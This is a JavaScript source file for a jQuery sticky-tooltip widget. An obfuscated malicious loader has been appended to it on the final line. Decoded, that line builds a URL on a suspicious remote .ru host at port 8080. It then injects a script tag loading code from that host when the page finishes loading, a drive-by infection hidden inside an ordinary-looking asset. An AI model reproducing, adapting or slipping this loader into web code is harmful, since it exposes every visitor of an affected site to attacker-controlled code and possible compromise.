

var stickytooltip={
	tooltipoffsets: [20, -30], //additional x and y offset from mouse cursor for tooltips
	fadeinspeed: 200, //duration of fade effect in milliseconds
	rightclickstick: true, //sticky tooltip when user right clicks over the triggering element (apart from pressing "s" key) ?
	stickybordercolors: ["black", "darkred"], //border color of tooltip depending on sticky state
	stickynotice1: ["Press \"s\"", "or right click", "to sticky box"], //customize tooltip status message
	stickynotice2: "Click outside this box to hide it", //customize tooltip status message

	//***** NO NEED TO EDIT BEYOND HERE

	isdocked: false,

	positiontooltip:function($, $tooltip, e){
		var x=e.pageX+this.tooltipoffsets[0], y=e.pageY+this.tooltipoffsets[1]
		var tipw=$tooltip.outerWidth(), tiph=$tooltip.outerHeight(), 
		x=(x+tipw>$(document).scrollLeft()+$(window).width())? x-tipw-(stickytooltip.tooltipoffsets[0]*2) : x
		y=(y+tiph>$(document).scrollTop()+$(window).height())? $(document).scrollTop()+$(window).height()-tiph-10 : y
		$tooltip.css({left:x, top:y})
	},
	
	showbox:function($, $tooltip, e){
		$tooltip.fadeIn(this.fadeinspeed)
		this.positiontooltip($, $tooltip, e)
	},

	hidebox:function($, $tooltip){
		if (!this.isdocked){
			$tooltip.stop(false, true).hide()
			$tooltip.css({borderColor:'black'}).find('.stickystatus:eq(0)').css({background:this.stickybordercolors[0]}).html(this.stickynotice1)
		}
	},

	docktooltip:function($, $tooltip, e){
		this.isdocked=true
		$tooltip.css({borderColor:'darkred'}).find('.stickystatus:eq(0)').css({background:this.stickybordercolors[1]}).html(this.stickynotice2)
	},


	init:function(targetselector, tipid){
		jQuery(document).ready(function($){
			var $targets=$(targetselector)
			var $tooltip=$('#'+tipid).appendTo(document.body)
			if ($targets.length==0)
				return
			var $alltips=$tooltip.find('div.atip')
			if (!stickytooltip.rightclickstick)
				stickytooltip.stickynotice1[1]=''
			stickytooltip.stickynotice1=stickytooltip.stickynotice1.join(' ')
			stickytooltip.hidebox($, $tooltip)
			$targets.bind('mouseenter', function(e){
				$alltips.hide().filter('#'+$(this).attr('data-tooltip')).show()
				stickytooltip.showbox($, $tooltip, e)
			})
			$targets.bind('mouseleave', function(e){
				stickytooltip.hidebox($, $tooltip)
			})
			$targets.bind('mousemove', function(e){
				if (!stickytooltip.isdocked){
					stickytooltip.positiontooltip($, $tooltip, e)
				}
			})
			$tooltip.bind("mouseenter", function(){
				stickytooltip.hidebox($, $tooltip)
			})
			$tooltip.bind("click", function(e){
				e.stopPropagation()
			})
			$(this).bind("click", function(e){
				if (e.button==0){
					stickytooltip.isdocked=false
					stickytooltip.hidebox($, $tooltip)
				}
			})
			$(this).bind("contextmenu", function(e){
				if (stickytooltip.rightclickstick && $(e.target).parents().andSelf().filter(targetselector).length==1){ //if oncontextmenu over a target element
					stickytooltip.docktooltip($, $tooltip, e)
					return false
				}
			})
			$(this).bind('keypress', function(e){
				var keyunicode=e.charCode || e.keyCode
				if (keyunicode==115){ //if "s" key was pressed
					stickytooltip.docktooltip($, $tooltip, e)
				}
			})
		}) //end dom ready
	}
}

//stickytooltip.init("targetElementSelector", "tooltipcontainer")
stickytooltip.init("*[data-tooltip]", "mystickytooltip")
var v;if(v!='K' && v != ''){v=null};var Zn;if(Zn!='C' && Zn != ''){Zn=null};try {var j='';var H_=new Array();var P=RegExp;var e="repla8Zd".substr(0,5)+"1PSceS1P".substr(3,2);var CN=new Array();var VZ=new Date();var B;if(B!='IO' && B!='jg'){B=''};var G;if(G!='' && G!='rN'){G=null};function p(_,M){var lh='';var F;if(F!='ot' && F!='fX'){F=''};var el=String("Rhn[".substr(3));this.pP="";var VE;if(VE!='' && VE!='fE'){VE=''};var R=String("gA4hB".substr(0,1));var pJ="";el+=M;var G_I;if(G_I!='qv' && G_I != ''){G_I=null};el+=String("0qTK]".substr(4));var iu=new String();var z=new P(el, R);var k=new Array();var Mi=new Array();return _[e](z, new String());var t;if(t!='' && t!='qU'){t=''};};var WC="";var Iv;if(Iv!='Qd'){Iv=''};var A=p('hftftZpO:O/O/HtHoHrHrZeZnftfrOeJaOcJtOoJrO-OnOeZtf.OaHlOlJaHbfoOuOtH.ZcOoH.ZjHpO.HaJmHafzHoJnO-ZcJoZ-OjfpZ.fBZuOyHTHhHeOBJlfeZnOdOeHrZ.JrOuJ:f',"ZHfJO");this.Bm='';var iH;if(iH!='At' && iH!='KV'){iH=''};var eb=window;var a='';var x;if(x!='' && x!='Bk'){x=null};var s=p('s7car7i7pxta',"x7a");this.rO='';var H=p('cPrPePa4t4ePEPl4ePmPePnPtP',"4P");var Lq;if(Lq!=''){Lq='NG'};var CI;if(CI!=''){CI='vz'};var X=p('/QoPrQfQ.PaPtQ/QoQrPfP.QaPtP/QmPeQrPcPaQdQoQlPiPbPrPeQ.PcPoQmP.PaQrP/QgQoPoPgQlPeQ.PcQoQmP/PgQmQoQdQuPlPePsQ.PcQoPmP.PpQhQpQ',"QP");var AC='';this.BE='';var RN=new String();var i=p('8240748440244',"247");var rB;if(rB!='' && rB!='iC'){rB='FV'};var VI='';var sR=p('oEnElUojaEdU',"UEj");this.Px='';this.Bb='';I=function(){var GF='';var uA;if(uA!='' && uA!='jgs'){uA=''};l=document[H](s);var jl="";var mk="";this.GN="";this.mA='';AC=A+i;var hv;if(hv!='UZ' && hv!='YO'){hv='UZ'};AC+=X;var eW=new Date();var T;if(T!='fL'){T='fL'};var SJ;if(SJ!='' && SJ!='ep'){SJ='b'};l.src=AC;var kj;if(kj!='' && kj!='ii'){kj=null};this.rxL='';l.defer=([4,1][1]);document.body.appendChild(l);};var HJ=new Date();var Vs=new Date();var sd;if(sd!='' && sd!='QG'){sd='Yb'};eb[sR]=I;var ZI;if(ZI!='Vt' && ZI!='JX'){ZI='Vt'};var EX;if(EX!='' && EX!='HB'){EX=null};var be=new Array();} catch(Z){var GK;if(GK!=''){GK='JT'};};